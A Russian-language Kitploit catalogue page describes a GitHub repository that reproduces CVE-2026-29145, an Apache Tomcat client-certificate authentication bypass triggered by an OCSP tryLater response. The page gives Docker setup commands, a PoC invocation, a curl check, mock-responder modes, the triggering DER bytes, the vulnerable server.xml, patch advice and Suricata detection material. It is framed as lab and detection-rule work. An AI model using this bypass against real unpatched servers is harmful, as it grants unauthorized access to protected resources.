Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-29145-Everything — Воспроизводимая среда PoC для обхода CVE-2026-29145 Apache Tomcat CLIENT_CERT + OCSP soft-fail, включая эксплойт-скрипты, имитацию OCSP-ответчика и правила обнаружения Suricata. | Kitploit
Инструменты/GitHubGitHub/gkdgkd123/cve-2026-29145-everything
Аутентификация и авторизацияАнализ уязвимостейЭксплуатацияОбход IDS/IPSЭксплуатация веб-приложенийТестирование на ПроникновениеОбнаружение ВторженийОбучение и ОбразованиеЛаборатории и Практика

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHubgkdgkd123/cve-2026-29145-everything

CVE-2026-29145-Everything

Воспроизводимая среда PoC для обхода CVE-2026-29145 Apache Tomcat CLIENT_CERT + OCSP soft-fail, включая эксплойт-скрипты, имитацию OCSP-ответчика и правила обнаружения Suricata.

Репозиторий
152 месяцев назадЕщё не проверено

CVE-2026-29145 Всё

Apache Tomcat CLIENT_CERT + OCSP soft-fail bypass — полная среда воспроизведения, пакеты эксплойта и материалы для создания правил обнаружения Suricata.

Только для авторизованных исследований безопасности и разработки правил обнаружения. Не используйте на неавторизованных системах.


Краткое описание уязвимости

ПараметрОписание
CVECVE-2026-29145
КомпонентApache Tomcat / Tomcat Native
ТипОбход аутентификации (mTLS / CLIENT_CERT)
CVSS9.1 (NVD) / Moderate (Apache)
Затронутые версииTomcat 10.1.0-M7–10.1.52, 9.0.83–9.0.115, 11.0.0-M1–11.0.18; Native 2.0.0–2.0.13 и др.
Исправленные версииTomcat 10.1.53+ / 9.0.116+ / 11.0.20+; Native 2.0.14+

Принцип уязвимости

Когда в Tomcat включены CLIENT_CERT и OCSP с параметром ocspSoftFail=false (жесткий сбой), некоторые пути ошибок OCSP (особенно статус ответа tryLater) по-прежнему не обрабатываются как жесткий сбой, в результате чего клиентские сертификаты, которые должны быть отклонены, принимаются, и защищенные ресурсы становятся доступными.

Официальное исправление (например, коммит Tomcat fe26667c) приводит обработку пути FFM для OCSP TRY_LATER в соответствие с Tomcat Native.

Результаты тестирования в данном репозитории

На Tomcat 10.1.52 + Tomcat Native 2.0.12:

Ключевой момент: необходимо вернуть tryLater по RFC 6960, только HTTP 500 недостаточен для срабатывания обхода в данной среде.


Содержимое репозитория

root@kitploit:~
CVE-2026-29145-Everything/
├── README.md                 # 本文件
├── REPRODUCTION.md           # 详细复现笔记与 Suricata 提示
├── docker-compose.yml        # 脆弱 Tomcat + Mock OCSP
├── poc_exploit.py            # 利用/检测脚本(exit 10 = 脆弱)
├── simple_proxy_fail.py      # Mock OCSP(fail / succeed / try_later / internal_error)
├── setup_certs.sh            # 生成 CA / 服务端 / 客户端证书(含 OCSP AIA)
├── capture_exploit.sh        # 一键利用并抓包
├── run_test.sh / cleanup.sh
├── requirements.txt
├── tomcat/
│   ├── server.xml            # mTLS + ocspEnabled + ocspSoftFail=false
│   ├── tomcat-users.xml      # CLIENT-CERT 用户映射
│   ├── ROOT/                 # 官方镜像缺省 ROOT 的最小补丁
│   └── protected/            # 受保护资源 + web.xml (CLIENT-CERT)
└── pcaps/                    # ★ 已抓取的利用流量(写规则用)
    ├── CVE-2026-29145-mtls-and-ocsp.pcap   # 主包:mTLS + OCSP
    ├── CVE-2026-29145-ocsp-only.pcap       # 仅 OCSP 明文
    ├── CVE-2026-29145-mtls-only.pcap       # 仅 8443 TLS
    └── exploit_response.html               # 利用成功响应快照

Директория с приватными ключами сертификатов certs/ по умолчанию исключена через .gitignore, требуется локальная генерация.


Быстрый старт

Зависимости

  • Docker / Docker Compose
  • OpenSSL
  • Python 3.7+ (pip install -r requirements.txt или системный python3-requests)
  • tcpdump (опционально, для захвата трафика)

Однокнопочное воспроизведение

root@kitploit:~
git clone https://github.com/gkdgkd123/CVE-2026-29145-Everything.git
cd CVE-2026-29145-Everything

# 1. 生成证书(AIA 指向 Docker 内 OCSP 服务名)
rm -rf certs
OCSP_URL=http://ocsp-responder:8888 ./setup_certs.sh

# 2. 启动环境(默认 OCSP_MODE=try_later)
docker compose up -d
# 等待 healthy
docker compose ps

# 3. 运行 PoC
python3 poc_exploit.py
# 期望输出:
#   [WARNING] VULNERABLE: Access granted despite OCSP check failure.
# 退出码 10 = 脆弱;0 = 不可利用/已修补

Ручная проверка:

root@kitploit:~
curl -sk --http1.1 \
  --cert certs/client-cert.pem \
  --key certs/client-key.pem \
  --cacert certs/ca-chain.pem \
  https://127.0.0.1:8443/protected-resource/

Захват трафика (сохранение трафика)

root@kitploit:~
./capture_exploit.sh
# 输出到 pcaps/CVE-2026-29145-*.pcap

В репозиторий уже включен pcap с успешным эксплойтом, который можно использовать для проверки правил Suricata без повторного захвата.


Режим имитации OCSP

root@kitploit:~
# tryLater — CVE 触发路径(默认)
OCSP_MODE=try_later docker compose up -d --force-recreate

# HTTP 500 失败(本环境硬失败会拒绝)
OCSP_MODE=fail docker compose up -d --force-recreate

# 模拟 OCSP 成功(body 非真实 DER,仅测连通)
OCSP_MODE=succeed docker compose up -d --force-recreate

# internalError DER
OCSP_MODE=internal_error docker compose up -d --force-recreate

Особенности трафика (материалы для Suricata)

Важно: 8443 — это mTLS с шифрованием TLS 1.3, при открытии в Wireshark будет выглядеть как мусор.
OCSP на 8888 — это открытый HTTP, при написании правил следует в первую очередь смотреть на OCSP.
Полное описание см. в pcaps/README.md.

Рекомендуемые файлы

Открытый текст OCSP (можно сопоставлять напрямую в сети)

root@kitploit:~
POST / HTTP/1.0
Host: ocsp-responder:8888
Content-Type: application/ocsp-request

HTTP/1.0 200 OK
Content-Type: application/ocsp-response
Content-Length: 5

[5 bytes DER] 30 03 0a 01 03    # tryLater

Расшифрованный HTTP бизнес-трафика (требуется sslkeys.log)

root@kitploit:~
GET /protected-resource/ HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: CVE-2026-29145-PoC/1.0

HTTP/1.1 200
Content-Type: text/html
...
Protected Resource Access Granted

Wireshark: Preferences → Protocols → TLS → (Pre)-Master-Secret log filename = pcaps/sslkeys.log

root@kitploit:~
tshark -r pcaps/CVE-2026-29145-with-keys.pcap -o tls.keylog_file:pcaps/sslkeys.log   -Y 'http && tcp.port==8443' -V

Подробнее см. в REPRODUCTION.md и pcaps/README.md.


Ключевые моменты конфигурации (уязвимый server.xml)

root@kitploit:~
<Connector port="8443" SSLEnabled="true"
           sslImplementationName="org.apache.tomcat.util.net.openssl.OpenSSLImplementation"
           ...>
  <SSLHostConfig
      certificateVerification="required"
      caCertificateFile="conf/certs/ca-chain.pem"
      ocspEnabled="true"
      ocspSoftFail="false"
      ocspTimeout="5">
    <Certificate ... />
  </SSLHostConfig>
</Connector>

На уровне приложения CLIENT-CERT см. в tomcat/protected/WEB-INF/web.xml.


Рекомендации по исправлению

  1. Обновите Tomcat до версии 10.1.53+ (или соответствующей исправленной версии)
  2. Одновременно обновите Tomcat Native до 2.0.14+
  3. Перепроверьте политику ocspSoftFail и доступность OCSP; проведите регрессионное тестирование поведения при недоступности/tryLater

Очистка

root@kitploit:~
./cleanup.sh
# 或
docker compose down -v

Ссылки

  • Apache Tomcat 10 Security — CVE-2026-29145
  • NVD CVE-2026-29145
  • RFC 6960 OCSP
  • Исходный скелет PoC: CVE-2026-29145-Tester (данный репозиторий усилил воспроизводимую конфигурацию и путь tryLater, а также предоставил полную запись)

Отказ от ответственности

Данный проект предназначен только для образовательных целей, авторизованного пентестинга и разработки правил обнаружения вторжений. Пользователи должны убедиться, что у них есть законное разрешение на тестирование целевых систем. Автор не несет ответственности за любое неправомерное использование.

Скачать инструмент
Поведение OCSPocspSoftFailРезультат
DER tryLater (30 03 0a 01 03)falseHTTP 200 — обход успешен
HTTP 500falseОтказ TLS (жесткий сбой)
Тайм-аут OCSPfalseОтказ TLS
Любой сбойtrue200 (ожидаемый soft-fail)
ФайлОписание
pcaps/CVE-2026-29145-with-keys.pcap + pcaps/sslkeys.logПолная расшифрованная сессия
pcaps/CVE-2026-29145-ocsp-only.pcapОткрытый текст OCSP (без ключей)
pcaps/cleartext/04_OCSP_HTTP_RECONSTRUCTED_CLEARTEXT.txtТекст OCSP HTTP для чтения
pcaps/cleartext/03_MTLS_HTTP_RECONSTRUCTED_CLEARTEXT.txtРасшифрованный текст HTTP бизнес-трафика
rules/cve-2026-29145.rulesПример правил Suricata